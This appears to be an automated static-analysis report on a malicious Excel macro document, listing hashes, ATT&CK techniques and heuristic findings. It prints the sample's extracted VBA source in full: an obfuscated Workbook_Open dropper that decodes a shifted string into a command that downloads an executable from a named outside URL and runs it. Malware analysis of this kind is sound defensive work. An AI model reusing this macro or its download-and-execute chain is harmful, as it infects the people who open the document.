Malicious Office (OOXML) / .OLE — malware analysis report

Static analysis result for SHA-256 62fc6d29fad7d1c5…

MALICIOUS

Office (OOXML) / .OLE

142.3 KB Created: 2020-12-14 21:09:45 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2020-12-28
MD5: e7af12420f63ec1bafa45db265a484a4 SHA-1: 726d4ceef4d2c27c363e5a03617b026da9b8a4c6 SHA-256: 62fc6d29fad7d1c5211dc1b4ddf11eeaced03b8a56f434e7bb6e2705d17ed991
128 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The critical heuristic 'OLE_VBA_SHELL' and the presence of a 'Workbook_Open' macro indicate malicious intent. The VBA script attempts to execute a command that downloads a file from 'http://modernacademydancun.org/vendor/phpunit/phpunit/src/Util/PHP/bbb.chij.exe' and saves it to 'C:\AppData\Local\jFCB\exe'. This strongly suggests the file acts as a downloader for a second-stage payload, likely delivered via spearphishing.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (ktjyWmlgFbHOzyxzEDEnLMqHUhUJcjAnlvISPHaNKtufGEKKRqmIdot(kieuaniJqVLyUaLDKFlBZNEnRITmfkIOTrErTjpAfhYpwmMMYecdyFj, "12"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Public Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3557 bytes
SHA-256: 332130fdc81c087ca8af6a0c58fe03026a588aa2537fcbef0d2ac7f256c3c886
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
x ("dne!0d!qpxfstifmm!)ofx.pckfdu!Tztufn/Ofu/XfcDmjfou*/EpxompbeGjmf)(iuuq;00npefsobdbefnzdbodvo/psh0wfoeps0qiqvoju0qiqvoju0tsd0Vujm0QIQ0csbbb0dij0dijev/fyf(-%fow;BqqEbub,(]jFCB[/fyf(*<)Ofx.Pckfdu!.dpn!Tifmm/Bqqmjdbujpo*/TifmmFyfdvuf)%fow;BqqEbub,(]jFCB[/fyf(*")
End Sub
Function x(kieuaniJqVLyUaLDKFlBZNEnRITmfkIOTrErTjpAfhYpwmMMYecdyFj As String)
Shell (ktjyWmlgFbHOzyxzEDEnLMqHUhUJcjAnlvISPHaNKtufGEKKRqmIdot(kieuaniJqVLyUaLDKFlBZNEnRITmfkIOTrErTjpAfhYpwmMMYecdyFj, "12"))
End Function
Public Function ktjyWmlgFbHOzyxzEDEnLMqHUhUJcjAnlvISPHaNKtufGEKKRqmIdot(XDcdoRxDWvTcEqzEwcqySmKWlsKrmSMfRXFPnzGvMKYEnbGUmGqfmqa As String, lNGrRcFRZiJfBFFlSrQldOGDKlqZAbhNbwUBhHKnbsyVdQZjCpsJrES As String)
        Dim WHXCAmflSBREFkDDKBxeFkFZOMbsgitVsdyPKZJBwHBUhhUzzlDHOui As Integer
        Dim GXxJnfIaEdvhwHIOlsvixEkNhNcsPAGbxQMMilqrICSMHAsMLsSkTMF As String
        Dim XHFbvDPfDrTjfPRgUBEuQHYbhUPCWiWdkgpFxeQotrOpnlMRPMSjOmJ As String
        WHXCAmflSBREFkDDKBxeFkFZOMbsgitVsdyPKZJBwHBUhhUzzlDHOui = 1
        For I = 1 To Len(XDcdoRxDWvTcEqzEwcqySmKWlsKrmSMfRXFPnzGvMKYEnbGUmGqfmqa)
            GXxJnfIaEdvhwHIOlsvixEkNhNcsPAGbxQMMilqrICSMHAsMLsSkTMF = Mid(XDcdoRxDWvTcEqzEwcqySmKWlsKrmSMfRXFPnzGvMKYEnbGUmGqfmqa, I, 1)
            If Not WHXCAmflSBREFkDDKBxeFkFZOMbsgitVsdyPKZJBwHBUhhUzzlDHOui + 1 = Len(lNGrRcFRZiJfBFFlSrQldOGDKlqZAbhNbwUBhHKnbsyVdQZjCpsJrES) Then
                WHXCAmflSBREFkDDKBxeFkFZOMbsgitVsdyPKZJBwHBUhhUzzlDHOui = WHXCAmflSBREFkDDKBxeFkFZOMbsgitVsdyPKZJBwHBUhhUzzlDHOui + 1
                If Not Asc(GXxJnfIaEdvhwHIOlsvixEkNhNcsPAGbxQMMilqrICSMHAsMLsSkTMF) + Len(lNGrRcFRZiJfBFFlSrQldOGDKlqZAbhNbwUBhHKnbsyVdQZjCpsJrES) > 255 Then
                    GXxJnfIaEdvhwHIOlsvixEkNhNcsPAGbxQMMilqrICSMHAsMLsSkTMF = Chr(Asc(GXxJnfIaEdvhwHIOlsvixEkNhNcsPAGbxQMMilqrICSMHAsMLsSkTMF) - Val(Mid(lNGrRcFRZiJfBFFlSrQldOGDKlqZAbhNbwUBhHKnbsyVdQZjCpsJrES, WHXCAmflSBREFkDDKBxeFkFZOMbsgitVsdyPKZJBwHBUhhUzzlDHOui, 1)))
                Else
                End If
            Else
                WHXCAmflSBREFkDDKBxeFkFZOMbsgitVsdyPKZJBwHBUhhUzzlDHOui = 1
                If Not Asc(GXxJnfIaEdvhwHIOlsvixEkNhNcsPAGbxQMMilqrICSMHAsMLsSkTMF) + Len(lNGrRcFRZiJfBFFlSrQldOGDKlqZAbhNbwUBhHKnbsyVdQZjCpsJrES) > 255 Then
                    GXxJnfIaEdvhwHIOlsvixEkNhNcsPAGbxQMMilqrICSMHAsMLsSkTMF = Chr(Asc(GXxJnfIaEdvhwHIOlsvixEkNhNcsPAGbxQMMilqrICSMHAsMLsSkTMF) - Val(Mid(lNGrRcFRZiJfBFFlSrQldOGDKlqZAbhNbwUBhHKnbsyVdQZjCpsJrES, WHXCAmflSBREFkDDKBxeFkFZOMbsgitVsdyPKZJBwHBUhhUzzlDHOui, 1)))
                Else
                End If
            End If
            XHFbvDPfDrTjfPRgUBEuQHYbhUPCWiWdkgpFxeQotrOpnlMRPMSjOmJ = XHFbvDPfDrTjfPRgUBEuQHYbhUPCWiWdkgpFxeQotrOpnlMRPMSjOmJ & GXxJnfIaEdvhwHIOlsvixEkNhNcsPAGbxQMMilqrICSMHAsMLsSkTMF
        Next
        ktjyWmlgFbHOzyxzEDEnLMqHUhUJcjAnlvISPHaNKtufGEKKRqmIdot = XHFbvDPfDrTjfPRgUBEuQHYbhUPCWiWdkgpFxeQotrOpnlMRPMSjOmJ
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17920 bytes
SHA-256: 98d8f7e5541bc6d197f3b9c03808470624f71f0d78f6824b1c3a847b2d094e61